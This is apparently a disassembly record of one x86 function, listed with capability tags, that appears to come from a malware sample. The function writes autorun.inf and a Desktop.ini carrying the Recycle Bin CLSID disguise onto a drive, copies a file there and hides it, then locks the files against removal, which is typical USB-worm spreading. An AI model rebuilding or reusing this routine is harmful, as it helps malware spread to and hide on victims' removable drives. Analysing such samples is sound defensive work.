Function at 0x3b1f430
Capabilities:
Copy file
Create directory
Get file size
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2744
call fcn.03b20f10
push ebx
push esi
push edi
xor esi, esi
push 0xfff
lea eax, [ebp - 0x2743]
push esi
push eax
mov dword [ebp - 4], esi
mov byte [ebp - 0x2744], 0
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x417]
push esi
push ecx
mov byte [ebp - 0x418], 0
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x51b]
push esi
push edx
mov byte [ebp - 0x51c], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea eax, [ebp - 0x1333]
push esi
push eax
mov byte [ebp - 0x1334], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea ecx, [ebp - 0xb23]
push esi
push ecx
mov byte [ebp - 0xb24], 0
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x313]
push esi
push edx
mov byte [ebp - 0x314], 0
call sub.MSVCRT.dll_memset
add esp, 0x48
push 0x103
lea eax, [ebp - 0x20f]
push esi
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x10b]
push esi
push ecx
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
push 0x40e
lea eax, [ebp - 0xf32]
xor edx, edx
push esi
push eax
mov word [ebp - 0xf34], dx
call sub.MSVCRT.dll_memset
push 0x40e
lea edx, [ebp - 0x1742]
xor ecx, ecx
push esi
push edx
mov word [ebp - 0x1744], cx
call sub.MSVCRT.dll_memset
push 0x206
lea ecx, [ebp - 0x722]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x724], ax
call sub.MSVCRT.dll_memset
mov edi, dword [ebp + 8]
push edi
push str._sautorun.inf
lea edx, [ebp - 0x418]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x48
push edi
lea eax, [ebp - 0x51c]
push str._sautorun.tmp
push eax
call sub.MSVCRT.dll_sprintf
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x724]
push 0x3b23018
push edx
call ebx
push 0x3b5c054
push 0x3b5bf50
lea eax, [ebp - 0x314]
push str._s_s
push eax
call sub.MSVCRT.dll_sprintf
push 0x3b5bf50
push edi
lea ecx, [ebp - 0x210]
push 0x3b22fd8
push ecx
call sub.MSVCRT.dll_sprintf
lea edx, [ebp - 0x314]
push edx
push edi
lea eax, [ebp - 0x10c]
push 0x3b22fd8
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x48
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0xf34]
push 0x3b23018
push edx
call ebx
push 0x3b5bf50
push edi
lea eax, [ebp - 0x1744]
push str._S_SDesktop.ini
push eax
call ebx
lea ecx, [ebp - 0xf34]
push ecx
call fcn.03b11cf0
add esp, 0x20
cmp al, 1
jne 0x3b1f672
lea edx, [ebp - 0xf34]
push edx
call fcn.03b11ea0
mov ebx, eax
add esp, 4
cmp ebx, esi
je 0x3b1f672
push 0x3b22bf0
push ebx
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
je 0x3b1f672
push ebx
push 0x3b5aac0
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
jne 0x3b1f672
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0x418]
push eax
call ebx
push 0x80
lea ecx, [ebp - 0x210]
push ecx
call ebx
push 0x80
lea edx, [ebp - 0x10c]
push edx
call ebx
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x3b1f6c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x3b1f669
push esi
lea ecx, [ebp - 0xf34]
push ecx
push 0x3b5bb40
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x3b1f669
push esi
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x1744]
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
push edx
call fcn.03b11c50
push str.usbi
call fcn.03b17700
add esp, 0x14
cmp eax, 1
jne 0x3b1f8c2
push 0x1000
lea eax, [ebp - 0x2744]
push esi
push eax
call fcn.03b135f0
mov eax, dword [0x3b27138]
add esp, 0xc
push esi
push esi
push 2
push esi
push esi
push 0x40000000
cmp eax, esi
je 0x3b1f740
lea ecx, [ebp - 0x724]
push ecx
call eax
jmp 0x3b1f74d
lea edx, [ebp - 0x724]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
je 0x3b1f669
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [0x3b26acc], esi
mov dword [0x3b26ad8], esi
mov dword [0x3b26ae4], esi
mov dword [0x3b26af0], esi
mov dword [0x3b26afc], esi
mov dword [0x3b26b08], esi
mov dword [0x3b26b14], esi
mov dword [ebp - 8], 7
jmp 0x3b1f792
xor esi, esi
mov esi, 1
xor edx, edx
cmp dword [0x3b26acc], esi
jne 0x3b1f7bb
call fcn.03b13870
xor edx, edx
mov ecx, 7
div ecx
lea eax, [edx + edx*2]
cmp dword [eax*4 + 0x3b26acc], esi
je 0x3b1f7a1
lea esi, [edx + edx*2]
add esi, esi
mov ecx, dword [esi + esi + 0x3b26ac8]
add esi, esi
cmp dword [esi + 0x3b26ad0], 1
jne 0x3b1f821
push ecx
lea edx, [ebp - 0xb24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0xb24]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x3b22b84
lea edx, [ebp - 0xb24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xb24]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [ebp - 0xb24]
jmp 0x3b1f834
push 0
lea eax, [ebp - 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esi + 0x3b26ac8]
push eax
push edx
push edi
call ebx
mov dword [esi + 0x3b26acc], 1
xor esi, esi
call fcn.03b13870
and eax, 0x8000000f
jns 0x3b1f856
dec eax
or eax, 0xfffffff0
inc eax
add eax, 3
test eax, eax
jle 0x3b1f8a6
lea ecx, [ecx]
lea eax, [ebp - 0x1334]
push eax
call fcn.03b1f3b0
add esp, 4
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x1334]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x1334]
push eax
push edi
call ebx
inc esi
call fcn.03b13870
and eax, 0x8000000f
jns 0x3b1f89f
dec eax
or eax, 0xfffffff0
inc eax
add eax, 3
cmp esi, eax
jl 0x3b1f860
sub dword [ebp - 8], 1
jne 0x3b1f790
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor esi, esi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x3b5c158], esi
je 0x3b1f8e5
cmp dword [0x3b5c15c], esi
jne 0x3b1f8f8
push 2
lea ecx, [ebp - 0x210]
push ecx
jmp 0x3b1f901
cmp dword [0x3b5c15c], esi
je 0x3b1f903
push 4
lea edx, [ebp - 0x210]
push edx
jmp 0x3b1f901
push 6
lea eax, [ebp - 0x210]
push eax
call ebx
cmp dword [0x3b5c168], esi
je 0x3b1f91e
cmp dword [0x3b5c164], esi
jne 0x3b1f931
push 2
lea ecx, [ebp - 0x10c]
push ecx
jmp 0x3b1f93a
cmp dword [0x3b5c164], esi
je 0x3b1f93c
push 4
lea edx, [ebp - 0x10c]
push edx
jmp 0x3b1f93a
push 6
lea eax, [ebp - 0x10c]
push eax
call ebx
push 1
push 1
lea ecx, [ebp - 0x314]
push ecx
push edi
call fcn.03b1f130
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0x10
cmp dword [0x3b5c160], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileSize]
je 0x3b1f993
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea edx, [ebp - 0x10c]
push edx
call ebx
mov edi, eax
push 0
push edi
call esi
push eax
push 0
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LockFile]
push str.usbi
call fcn.03b17700
add esp, 4
cmp eax, 1
jne 0x3b1f9d4
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp - 0x418]
push eax
call ebx
mov edi, eax
push 0
push edi
call esi
push eax
push 0
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LockFile]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret